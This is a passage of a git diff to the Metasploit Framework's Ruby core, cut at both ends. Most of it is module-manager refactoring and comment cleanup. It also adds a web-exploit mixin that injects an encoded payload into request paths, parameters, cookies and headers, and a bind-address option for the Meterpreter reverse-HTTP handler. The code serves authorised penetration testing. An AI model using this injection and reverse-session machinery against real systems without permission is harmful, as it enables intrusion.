|
||||
end
|
||||
|
||||
def postgres_base64_data(data)
|
||||
[data].pack("m*").gsub(/\r?\n/,"")
|
||||
end
|
||||
|
||||
|
||||
# Creates a temporary table to store base64'ed binary data in.
|
||||
def postgres_create_stager_table
|
||||
tbl = Rex::Text.rand_text_alpha(8).downcase
|
||||
|
|
|
@ -0,0 +1,138 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that speak the telnet protocol.
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::Web
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::HttpClient
|
||||
|
||||
# Default value for #web_payload_stub
|
||||
WEB_PAYLOAD_STUB = '!payload!'
|
||||
|
||||
#
|
||||
# Optional stub to be replaced with the exploit payload.
|
||||
#
|
||||
# Default stub is 'WEB_PAYLOAD_STUB'.
|
||||
#
|
||||
attr_accessor :web_payload_stub
|
||||
|
||||
# Creates an instance of a Telnet exploit module.
|
||||
#
|
||||
def initialize( info = {} )
|
||||
super
|
||||
|
||||
register_options([
|
||||
OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ),
|
||||
OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
|
||||
OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
|
||||
OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
|
||||
OptString.new( 'HEADERS', [ false, "Headers to be sent with the request. ('User-Agent=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ),
|
||||
], self.class )
|
||||
|
||||
self.web_payload_stub = WEB_PAYLOAD_STUB
|
||||
end
|
||||
|
||||
def path
|
||||
Rex::Text.uri_encode( substitute_web_payload_stub( datastore['PATH'] ) )
|
||||
end
|
||||
|
||||
def get
|
||||
substitute_in_hash( parse_query( datastore['GET'] ) )
|
||||
end
|
||||
|
||||
def post
|
||||
substitute_in_hash( parse_query( datastore['POST'] ) )
|
||||
end
|
||||
|
||||
def cookies
|
||||
substitute_web_payload_stub( datastore['COOKIES'], ',;' )
|
||||
end
|
||||
|
||||
def headers
|
||||
substitute_in_hash( parse_query( datastore['HEADERS'] ) )
|
||||
end
|
||||
|
||||
def method
|
||||
post.empty? ? 'GET' : 'POST'
|
||||
end
|
||||
|
||||
def check
|
||||
path = datastore['PATH']
|
||||
print_status "Checking #{path}"
|
||||
|
||||
response = send_request_raw( 'uri' => path )
|
||||
return Exploit::CheckCode::Detected if response.code == 200
|
||||
|
||||
print_error "Server responded with #{response.code}"
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status "Sending HTTP request for #{path}"
|
||||
if res = perform_request
|
||||
print_status "The server responded with HTTP status code #{res.code}."
|
||||
else
|
||||
print_status 'The server did not respond to our request.'
|
||||
end
|
||||
handler
|
||||
end
|
||||
|
||||
def perform_request
|
||||
send_request_cgi({
|
||||
'global' => true,
|
||||
'uri' => path,
|
||||
'method' => method,
|
||||
'vars_get' => get,
|
||||
'vars_post' => post,
|
||||
'headers' => headers,
|
||||
'cookie' => cookies
|
||||
}, 0.01 )
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a URI query string into a key=>value hash.
|
||||
#
|
||||
def parse_query( query, sep = '&' )
|
||||
query = query.to_s
|
||||
return {} if query.empty?
|
||||
|
||||
query.split( sep ).inject({}) do |h, part|
|
||||
k, v = part.split( '=', 2 )
|
||||
h[k.to_s] = v.to_s
|
||||
h
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# With what to replace 'WEB_PAYLOAD_STUB'.
|
||||
#
|
||||
# By default returns 'payload.encoded', override as needed.
|
||||
#
|
||||
def stub_value
|
||||
payload.encoded
|
||||
end
|
||||
|
||||
#
|
||||
# Substitutes 'web_payload_stub' with the exploit payload.
|
||||
#
|
||||
def substitute_web_payload_stub( str, escape = '' )
|
||||
value = stub_value
|
||||
value = URI.encode( stub_value, escape ) if !escape.empty?
|
||||
str.to_s.gsub( web_payload_stub, value )
|
||||
end
|
||||
|
||||
def substitute_in_hash( hash )
|
||||
hash.inject({}) do |h, (k, v)|
|
||||
h[substitute_web_payload_stub( k )] = substitute_web_payload_stub( v )
|
||||
h
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -19,7 +19,7 @@ class Framework
|
|||
Major = 4
|
||||
Minor = 5
|
||||
Point = 0
|
||||
Release = "-dev"
|
||||
Release = "-release"
|
||||
|
||||
if(Point)
|
||||
Version = "#{Major}.#{Minor}.#{Point}#{Release}"
|
||||
|
|
|
@ -153,7 +153,8 @@ module ReverseHttp
|
|||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
|
||||
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
|
||||
OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
|
||||
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ])
|
||||
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system'])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
|
@ -176,10 +177,17 @@ module ReverseHttp
|
|||
comm = nil
|
||||
end
|
||||
|
||||
# Determine where to bind the HTTP(S) server to
|
||||
bindaddrs = ipv6 ? '::' : '0.0.0.0'
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddrs = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
||||
# Start the HTTPS server service on this host/port
|
||||
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
||||
datastore['LPORT'].to_i,
|
||||
ipv6 ? '::' : '0.0.0.0',
|
||||
bindaddrs,
|
||||
ssl?,
|
||||
{
|
||||
'Msf' => framework,
|
||||
|
|
|
@ -95,7 +95,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
|||
if (in_ctx_id == 'OSVDB')
|
||||
self.site = 'http://www.osvdb.org/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'CVE')
|
||||
self.site = 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=' + in_ctx_val.to_s
|
||||
self.site = "http://cvedetails.com/cve/#{in_ctx_val.to_s}/"
|
||||
elsif (in_ctx_id == 'BID')
|
||||
self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'MSB')
|
||||
|
|
|
@ -12,11 +12,15 @@ require 'msf/core'
|
|||
require 'msf/core/module_set'
|
||||
|
||||
module Msf
|
||||
# Upper management decided to throw in some middle management # because the modules were getting out of hand. This
|
||||
# bad boy takes care of the work of managing the interaction with modules in terms of loading and instantiation.
|
||||
# Upper management decided to throw in some middle management
|
||||
# because the modules were getting out of hand. This bad boy takes
|
||||
# care of the work of managing the interaction with modules in terms
|
||||
# of loading and instantiation.
|
||||
#
|
||||
# @todo add unload support
|
||||
class ModuleManager < ModuleSet
|
||||
class ModuleManager
|
||||
include Msf::Framework::Offspring
|
||||
|
||||
require 'msf/core/payload_set'
|
||||
|
||||
# require here so that Msf::ModuleManager is already defined
|
||||
|
@ -32,6 +36,8 @@ module Msf
|
|||
include Msf::ModuleManager::ModuleSets
|
||||
include Msf::ModuleManager::Reloading
|
||||
|
||||
include Enumerable
|
||||
|
||||
#
|
||||
# CONSTANTS
|
||||
#
|
||||
|
@ -39,36 +45,28 @@ module Msf
|
|||
# Maps module type directory to its module type.
|
||||
TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert
|
||||
|
||||
# Overrides the module set method for adding a module so that some extra steps can be taken to subscribe the module
|
||||
# and notify the event dispatcher.
|
||||
#
|
||||
# @param (see Msf::ModuleSet#add_module)
|
||||
# @return (see Msf::ModuleSet#add_module)
|
||||
def add_module(mod, name, file_paths)
|
||||
# Call {Msf::ModuleSet#add_module} with same arguments
|
||||
dup = super
|
||||
def [](key)
|
||||
names = key.split("/")
|
||||
type = names.shift
|
||||
|
||||
# Automatically subscribe a wrapper around this module to the necessary
|
||||
# event providers based on whatever events it wishes to receive. We
|
||||
# only do this if we are the module manager instance, as individual
|
||||
# module sets need not subscribe.
|
||||
auto_subscribe_module(dup)
|
||||
module_set = module_set_by_type[type]
|
||||
|
||||
# Notify the framework that a module was loaded
|
||||
framework.events.on_module_load(name, dup)
|
||||
|
||||
dup
|
||||
module_reference_name = names.join("/")
|
||||
module_set[module_reference_name]
|
||||
end
|
||||
|
||||
# Creates a module instance using the supplied reference name.
|
||||
#
|
||||
# @param [String] name a module reference name. It may optionally be prefixed with a "<type>/", in which case the
|
||||
# module will be created from the {Msf::ModuleSet} for the given <type>.
|
||||
# @param name [String] A module reference name. It may optionally
|
||||
# be prefixed with a "<type>/", in which case the module will be
|
||||
# created from the {Msf::ModuleSet} for the given <type>.
|
||||
# Otherwise, we step through all sets until we find one that
|
||||
# matches.
|
||||
# @return (see Msf::ModuleSet#create)
|
||||
def create(name)
|
||||
# Check to see if it has a module type prefix. If it does,
|
||||
# try to load it from the specific module set for that type.
|
||||
names = name.split(File::SEPARATOR)
|
||||
names = name.split("/")
|
||||
potential_type_or_directory = names.first
|
||||
|
||||
# if first name is a type
|
||||
|
@ -79,14 +77,36 @@ module Msf
|
|||
type = TYPE_BY_DIRECTORY[potential_type_or_directory]
|
||||
end
|
||||
|
||||
module_instance = nil
|
||||
if type
|
||||
module_set = module_set_by_type[type]
|
||||
|
||||
module_reference_name = names[1 .. -1].join(File::SEPARATOR)
|
||||
module_set.create(module_reference_name)
|
||||
# Otherwise, just try to load it by name.
|
||||
# First element in names is the type, so skip it
|
||||
module_reference_name = names[1 .. -1].join("/")
|
||||
module_instance = module_set.create(module_reference_name)
|
||||
else
|
||||
super
|
||||
# Then we don't have a type, so we have to step through each set
|
||||
# to see if we can create this module.
|
||||
module_set_by_type.each do |_, set|
|
||||
module_reference_name = names.join("/")
|
||||
module_instance = set.create(module_reference_name)
|
||||
break if module_instance
|
||||
end
|
||||
end
|
||||
|
||||
module_instance
|
||||
end
|
||||
|
||||
|
||||
# Iterate over all modules in all sets
|
||||
#
|
||||
# @yieldparam name [String] The module's reference name
|
||||
# @yieldparam mod_class [Msf::Module] A module class
|
||||
def each
|
||||
module_set_by_type.each do |type, set|
|
||||
set.each do |name, mod_class|
|
||||
yield name, mod_class
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -113,18 +133,18 @@ module Msf
|
|||
types.each { |type|
|
||||
init_module_set(type)
|
||||
}
|
||||
|
||||
super(nil)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# This method automatically subscribes a module to whatever event providers it wishes to monitor. This can be used
|
||||
# to allow modules to automatically # execute or perform other tasks when certain events occur. For instance, when
|
||||
# a new host is detected, other aux modules may wish to run such that they can collect more information about the
|
||||
# host that was detected.
|
||||
# This method automatically subscribes a module to whatever event
|
||||
# providers it wishes to monitor. This can be used to allow modules
|
||||
# to automatically execute or perform other tasks when certain
|
||||
# events occur. For instance, when a new host is detected, other
|
||||
# aux modules may wish to run such that they can collect more
|
||||
# information about the host that was detected.
|
||||
#
|
||||
# @param [Class] mod a Msf::Module subclass
|
||||
# @param mod [Class] A subclass of Msf::Module
|
||||
# @return [void]
|
||||
def auto_subscribe_module(mod)
|
||||
# If auto-subscribe has been disabled
|
||||
|
@ -151,5 +171,6 @@ module Msf
|
|||
framework.events.add_session_subscriber((inst) ? inst : (inst = mod.new))
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -24,8 +24,8 @@ module Msf::ModuleManager::Cache
|
|||
def load_cached_module(type, reference_name)
|
||||
loaded = false
|
||||
|
||||
module_info = self.module_info_by_path.values.find { |module_info|
|
||||
module_info[:type] == type and module_info[:reference_name] == reference_name
|
||||
module_info = self.module_info_by_path.values.find { |inner_info|
|
||||
inner_info[:type] == type and inner_info[:reference_name] == reference_name
|
||||
}
|
||||
|
||||
if module_info
|
||||
|
@ -116,8 +116,9 @@ module Msf::ModuleManager::Cache
|
|||
|
||||
typed_module_set = module_set(type)
|
||||
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for key instead of using ||= which would call
|
||||
# {Msf::ModuleSet#[]} which would potentially call {Msf::ModuleSet#create}.
|
||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||
# which would potentially call {Msf::ModuleSet#create}.
|
||||
unless typed_module_set.has_key? reference_name
|
||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||
end
|
||||
|
@ -126,4 +127,4 @@ module Msf::ModuleManager::Cache
|
|||
|
||||
self.module_info_by_path
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -57,21 +57,16 @@ module Msf::ModuleManager::Loading
|
|||
# categorized accordingly.
|
||||
#
|
||||
def on_module_load(mod, type, name, modinfo)
|
||||
# Payload modules require custom loading as the individual files
|
||||
# may not directly contain a logical payload that a user would
|
||||
# reference, such as would be the case with a payload stager or
|
||||
# stage. As such, when payload modules are loaded they are handed
|
||||
# off to a special payload set. The payload set, in turn, will
|
||||
# automatically create all the permutations after all the payload
|
||||
# modules have been loaded.
|
||||
dup = module_set_by_type[type].add_module(mod, name, modinfo)
|
||||
|
||||
if (type != Msf::MODULE_PAYLOAD)
|
||||
# Add the module class to the list of modules and add it to the
|
||||
# type separated set of module classes
|
||||
add_module(mod, name, modinfo)
|
||||
end
|
||||
# Automatically subscribe a wrapper around this module to the necessary
|
||||
# event providers based on whatever events it wishes to receive.
|
||||
auto_subscribe_module(dup)
|
||||
|
||||
module_set_by_type[type].add_module(mod, name, modinfo)
|
||||
# Notify the framework that a module was loaded
|
||||
framework.events.on_module_load(name, dup)
|
||||
|
||||
dup
|
||||
end
|
||||
|
||||
protected
|
||||
|
|
|
@ -39,7 +39,7 @@ module Msf::ModuleManager::ModuleSets
|
|||
self.enablement_by_type[type] = true
|
||||
case type
|
||||
when Msf::MODULE_PAYLOAD
|
||||
instance = Msf::PayloadSet.new(self)
|
||||
instance = Msf::PayloadSet.new
|
||||
else
|
||||
instance = Msf::ModuleSet.new(type)
|
||||
end
|
||||
|
@ -100,4 +100,4 @@ module Msf::ModuleManager::ModuleSets
|
|||
|
||||
attr_accessor :enablement_by_type # :nodoc:
|
||||
attr_accessor :module_set_by_type # :nodoc:
|
||||
end
|
||||
end
|
||||
|
|
|
@ -33,8 +33,9 @@ class Msf::ModuleSet < Hash
|
|||
|
||||
# Create an instance of the supplied module by its name
|
||||
#
|
||||
# @param [String] name the module reference name.
|
||||
# @return [Msf::Module] instance of the named module.
|
||||
# @param name [String] The module reference name.
|
||||
# @return [Msf::Module,nil] Instance of the named module or nil if it
|
||||
# could not be created.
|
||||
def create(name)
|
||||
klass = fetch(name, nil)
|
||||
instance = nil
|
||||
|
@ -42,15 +43,7 @@ class Msf::ModuleSet < Hash
|
|||
# If there is no module associated with this class, then try to demand
|
||||
# load it.
|
||||
if klass.nil? or klass == Msf::SymbolicModule
|
||||
# If we are the root module set, then we need to try each module
|
||||
# type's demand loading until we find one that works for us.
|
||||
if module_type.nil?
|
||||
Msf::MODULE_TYPES.each { |type|
|
||||
framework.modules.load_cached_module(type, name)
|
||||
}
|
||||
else
|
||||
framework.modules.load_cached_module(module_type, name)
|
||||
end
|
||||
framework.modules.load_cached_module(module_type, name)
|
||||
|
||||
recalculate
|
||||
|
||||
|
@ -168,17 +161,6 @@ class Msf::ModuleSet < Hash
|
|||
def on_module_reload(mod)
|
||||
end
|
||||
|
||||
# @!attribute [rw] postpone_recalc
|
||||
# Whether or not recalculations should be postponed. This is used
|
||||
# from the context of the {#each_module_list} handler in order to
|
||||
# prevent the demand loader from calling recalc for each module if
|
||||
# it's possible that more than one module may be loaded. This field
|
||||
# is not initialized until used.
|
||||
#
|
||||
# @return [true] if {#recalculate} should not be called immediately
|
||||
# @return [false] if {#recalculate} should be called immediately
|
||||
attr_accessor :postpone_recalculate
|
||||
|
||||
# Dummy placeholder to recalculate aliases and other fun things.
|
||||
#
|
||||
# @return [void]
|
||||
|
@ -194,8 +176,6 @@ class Msf::ModuleSet < Hash
|
|||
(self[name]) ? true : false
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Adds a module with a the supplied name.
|
||||
#
|
||||
# @param [Class] mod The module class: a subclass of Msf::Module.
|
||||
|
@ -226,25 +206,24 @@ class Msf::ModuleSet < Hash
|
|||
mod
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Load all modules that are marked as being symbolic.
|
||||
#
|
||||
# @return [void]
|
||||
def demand_load_modules
|
||||
found_symbolics = false
|
||||
# Pre-scan the module list for any symbolic modules
|
||||
self.each_pair { |name, mod|
|
||||
if (mod == Msf::SymbolicModule)
|
||||
self.postpone_recalculate = true
|
||||
|
||||
found_symbolics = true
|
||||
mod = create(name)
|
||||
|
||||
next if (mod.nil?)
|
||||
end
|
||||
}
|
||||
|
||||
# If we found any symbolic modules, then recalculate.
|
||||
if (self.postpone_recalculate)
|
||||
self.postpone_recalculate = false
|
||||
|
||||
if (found_symbolics)
|
||||
recalculate
|
||||
end
|
||||
end
|
||||
|
|
|
@ -63,15 +63,17 @@ class Msf::Modules::Loader::Base
|
|||
# Regex that can distinguish regular ruby source from unit test source.
|
||||
UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/
|
||||
|
||||
# @param [Msf::ModuleManager] module_manager The module manager that caches the loaded modules.
|
||||
# @param [Msf::ModuleManager] module_manager The module manager that
|
||||
# caches the loaded modules.
|
||||
def initialize(module_manager)
|
||||
@module_manager = module_manager
|
||||
end
|
||||
|
||||
# Returns whether the path can be loaded this module loader.
|
||||
#
|
||||
# @abstract Override and determine from properties of the path or the file to which the path points whether it is
|
||||
# loadable using {#load_modules} for the subclass.
|
||||
# @abstract Override and determine from properties of the path or the
|
||||
# file to which the path points whether it is loadable using
|
||||
# {#load_modules} for the subclass.
|
||||
#
|
||||
# @param path (see #load_modules)
|
||||
# @return [Boolean]
|
||||
|
@ -81,22 +83,33 @@ class Msf::Modules::Loader::Base
|
|||
|
||||
# Loads a module from the supplied path and module_reference_name.
|
||||
#
|
||||
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed
|
||||
# to {#load_modules}: it may just be derived from that path.
|
||||
# @param [String] parent_path The path under which the module exists.
|
||||
# This is not necessarily the same path as passed to
|
||||
# {#load_modules}: it may just be derived from that path.
|
||||
# @param [String] type The type of module.
|
||||
# @param [String] module_reference_name The canonical name for referring to the module.
|
||||
# @param [Hash] options Options used to force loading and track statistics
|
||||
# @option options [Hash{String => Integer}] :count_by_type Maps the module type to the number of module loaded
|
||||
# @option options [Boolean] :force (false) whether to force loading of the module even if the module has not changed.
|
||||
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps type to whether its
|
||||
# {Msf::ModuleManager::ModuleSets#module_set} needs to be recalculated.
|
||||
# @param [String] module_reference_name The canonical name for
|
||||
# referring to the module.
|
||||
# @param [Hash] options Options used to force loading and track
|
||||
# statistics
|
||||
# @option options [Hash{String => Integer}] :count_by_type Maps the
|
||||
# module type to the number of module loaded
|
||||
# @option options [Boolean] :force (false) whether to force loading of
|
||||
# the module even if the module has not changed.
|
||||
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps
|
||||
# type to whether its {Msf::ModuleManager::ModuleSets#module_set}
|
||||
# needs to be recalculated.
|
||||
# @option options [Boolean] :reload (false) whether this is a reload.
|
||||
#
|
||||
# @return [false] if :force is false and parent_path has not changed.
|
||||
# @return [false] if exception encountered while parsing module content
|
||||
# @return [false] if the module is incompatible with the Core or API version.
|
||||
# @return [false] if the module does not implement a Metasploit(\d+) class.
|
||||
# @return [false] if exception encountered while parsing module
|
||||
# content
|
||||
# @return [false] if the module is incompatible with the Core or API
|
||||
# version.
|
||||
# @return [false] if the module does not implement a Metasploit(\d+)
|
||||
# class.
|
||||
# @return [false] if the module's is_usable method returns false.
|
||||
# @return [true] if all those condition pass and the module is successfully loaded.
|
||||
# @return [true] if all those condition pass and the module is
|
||||
# successfully loaded.
|
||||
#
|
||||
# @see #read_module_content
|
||||
# @see Msf::ModuleManager::Loading#file_changed?
|
||||
|
@ -121,8 +134,8 @@ class Msf::Modules::Loader::Base
|
|||
module_content = read_module_content(parent_path, type, module_reference_name)
|
||||
|
||||
if module_content.empty?
|
||||
# read_module_content is responsible for calling {#load_error}, so just return here.
|
||||
return false
|
||||
# read_module_content is responsible for calling {#load_error}, so just return here.
|
||||
return false
|
||||
end
|
||||
|
||||
try_eval_module = lambda { |namespace_module|
|
||||
|
@ -139,9 +152,9 @@ class Msf::Modules::Loader::Base
|
|||
begin
|
||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||
load_error(module_path, version_compatibility_error)
|
||||
load_error(module_path, version_compatibility_error)
|
||||
else
|
||||
load_error(module_path, error)
|
||||
load_error(module_path, error)
|
||||
end
|
||||
|
||||
return false
|
||||
|
@ -150,17 +163,17 @@ class Msf::Modules::Loader::Base
|
|||
begin
|
||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||
load_error(module_path, version_compatibility_error)
|
||||
load_error(module_path, version_compatibility_error)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
|
||||
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
|
||||
rescue Msf::Modules::MetasploitClassCompatibilityError => error
|
||||
load_error(module_path, error)
|
||||
load_error(module_path, error)
|
||||
|
||||
return false
|
||||
return false
|
||||
end
|
||||
|
||||
unless usable?(metasploit_class)
|
||||
|
@ -227,12 +240,15 @@ class Msf::Modules::Loader::Base
|
|||
|
||||
# Loads all of the modules from the supplied path.
|
||||
#
|
||||
# @note Only paths where {#loadable?} returns true should be passed to this method.
|
||||
# @note Only paths where {#loadable?} returns true should be passed to
|
||||
# this method.
|
||||
#
|
||||
# @param [String] path Path under which there are modules
|
||||
# @param [Hash] options
|
||||
# @option options [Boolean] force (false) whether to force loading of the module even if the module has not changed.
|
||||
# @return [Hash{String => Integer}] Maps module type to number of modules loaded
|
||||
# @option options [Boolean] force (false) Whether to force loading of
|
||||
# the module even if the module has not changed.
|
||||
# @return [Hash{String => Integer}] Maps module type to number of
|
||||
# modules loaded
|
||||
def load_modules(path, options={})
|
||||
options.assert_valid_keys(:force)
|
||||
|
||||
|
@ -396,28 +412,28 @@ class Msf::Modules::Loader::Base
|
|||
raise ::NotImplementedError
|
||||
end
|
||||
|
||||
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
|
||||
#
|
||||
# @param [String] module_path Path to the module as returned by {#module_path}.
|
||||
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
|
||||
# @return [void]
|
||||
#
|
||||
# @see #module_path
|
||||
def load_error(module_path, error)
|
||||
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
|
||||
# backtraces should not appear.
|
||||
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
|
||||
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
|
||||
#
|
||||
# @param [String] module_path Path to the module as returned by {#module_path}.
|
||||
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
|
||||
# @return [void]
|
||||
#
|
||||
# @see #module_path
|
||||
def load_error(module_path, error)
|
||||
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
|
||||
# backtraces should not appear.
|
||||
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
|
||||
|
||||
log_lines = []
|
||||
log_lines << "#{module_path} failed to load due to the following error:"
|
||||
log_lines << error.class.to_s
|
||||
log_lines << error.to_s
|
||||
log_lines << "Call stack:"
|
||||
log_lines += error.backtrace
|
||||
log_lines = []
|
||||
log_lines << "#{module_path} failed to load due to the following error:"
|
||||
log_lines << error.class.to_s
|
||||
log_lines << error.to_s
|
||||
log_lines << "Call stack:"
|
||||
log_lines += error.backtrace
|
||||
|
||||
log_message = log_lines.join("\n")
|
||||
elog(log_message)
|
||||
end
|
||||
log_message = log_lines.join("\n")
|
||||
elog(log_message)
|
||||
end
|
||||
|
||||
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
|
||||
attr_reader :module_manager
|
||||
|
@ -480,11 +496,14 @@ class Msf::Modules::Loader::Base
|
|||
namespace_module_name
|
||||
end
|
||||
|
||||
# Returns an Array of names to make a fully qualified module name to wrap the Metasploit(1|2|3) class so that it
|
||||
# doesn't overwrite other (metasploit) module's classes. Invalid module name characters are escaped by using 'H*'
|
||||
# unpacking and prefixing each code with X so the code remains a valid module name when it starts with a digit.
|
||||
# Returns an Array of names to make a fully qualified module name to
|
||||
# wrap the Metasploit(1|2|3) class so that it doesn't overwrite other
|
||||
# (metasploit) module's classes. Invalid module name characters are
|
||||
# escaped by using 'H*' unpacking and prefixing each code with X so
|
||||
# the code remains a valid module name when it starts with a digit.
|
||||
#
|
||||
# @param [String] uniq_module_reference_name The unique canonical name for the module including type.
|
||||
# @param [String] uniq_module_reference_name The unique canonical name
|
||||
# for the module including type.
|
||||
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
|
||||
#
|
||||
# @see namespace_module
|
||||
|
@ -513,8 +532,9 @@ class Msf::Modules::Loader::Base
|
|||
end
|
||||
|
||||
namespace_module = create_namespace_module(namespace_module_names)
|
||||
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's
|
||||
# constant if needed.
|
||||
# Get the parent module from the created module so that
|
||||
# restore_namespace_module can remove namespace_module's constant if
|
||||
# needed.
|
||||
parent_module = namespace_module.parent
|
||||
|
||||
begin
|
||||
|
@ -557,21 +577,21 @@ class Msf::Modules::Loader::Base
|
|||
if parent_module
|
||||
# If there is a current module with relative_name
|
||||
if parent_module.const_defined?(relative_name)
|
||||
# if the current value isn't the value to be restored.
|
||||
if parent_module.const_get(relative_name) != namespace_module
|
||||
# remove_const is private, so use send to bypass
|
||||
parent_module.send(:remove_const, relative_name)
|
||||
# if the current value isn't the value to be restored.
|
||||
if parent_module.const_get(relative_name) != namespace_module
|
||||
# remove_const is private, so use send to bypass
|
||||
parent_module.send(:remove_const, relative_name)
|
||||
|
||||
# if there was a previous module, not set it to the name
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
# if there was a previous module, not set it to the name
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
else
|
||||
# if there was a previous module, but there isn't a current module, then restore the previous module
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
# if there was a previous module, but there isn't a current module, then restore the previous module
|
||||
if namespace_module
|
||||
parent_module.const_set(relative_name, namespace_module)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -20,12 +20,9 @@ class PayloadSet < ModuleSet
|
|||
# Creates an instance of a payload set which is just a specialized module
|
||||
# set class that has custom handling for payloads.
|
||||
#
|
||||
def initialize(manager)
|
||||
def initialize
|
||||
super(MODULE_PAYLOAD)
|
||||
|
||||
# A reference to the ModuleManager instance
|
||||
self.manager = manager
|
||||
|
||||
# A hash of each of the payload types that holds an array
|
||||
# for all of the associated modules
|
||||
self.payload_type_modules = {}
|
||||
|
@ -74,60 +71,36 @@ class PayloadSet < ModuleSet
|
|||
# of singles, stagers, and stages.
|
||||
#
|
||||
def recalculate
|
||||
# Reset the current hash associations for all non-symbolic modules
|
||||
self.each_pair { |key, v|
|
||||
manager.delete(key) if (v != SymbolicModule)
|
||||
}
|
||||
old_keys = self.keys
|
||||
new_keys = []
|
||||
|
||||
self.delete_if { |k, v|
|
||||
v != SymbolicModule
|
||||
}
|
||||
|
||||
# Initialize a temporary hash
|
||||
_temp = {}
|
||||
|
||||
# Populate the temporary hash
|
||||
_singles.each_pair { |name, op|
|
||||
_temp[name] = op
|
||||
}
|
||||
# Recalculate single payloads
|
||||
_temp.each_pair { |name, op|
|
||||
_singles.each_pair { |name, op|
|
||||
mod, handler = op
|
||||
|
||||
# Build the payload dupe using the determined handler
|
||||
# and module
|
||||
p = build_payload(handler, mod)
|
||||
|
||||
# Sets the modules derived name
|
||||
p.refname = name
|
||||
|
||||
# Add it to the set
|
||||
add_single(p, name, op[5])
|
||||
new_keys.push name
|
||||
|
||||
# Cache the payload's size
|
||||
begin
|
||||
sizes[name] = p.new.size
|
||||
|
||||
# Don't cache generic payload sizes.
|
||||
rescue NoCompatiblePayloadError
|
||||
end
|
||||
}
|
||||
|
||||
# Initialize a temporary hash
|
||||
_temp = {}
|
||||
|
||||
# Populate the temporary hash
|
||||
_stagers.each_pair { |stager_name, op|
|
||||
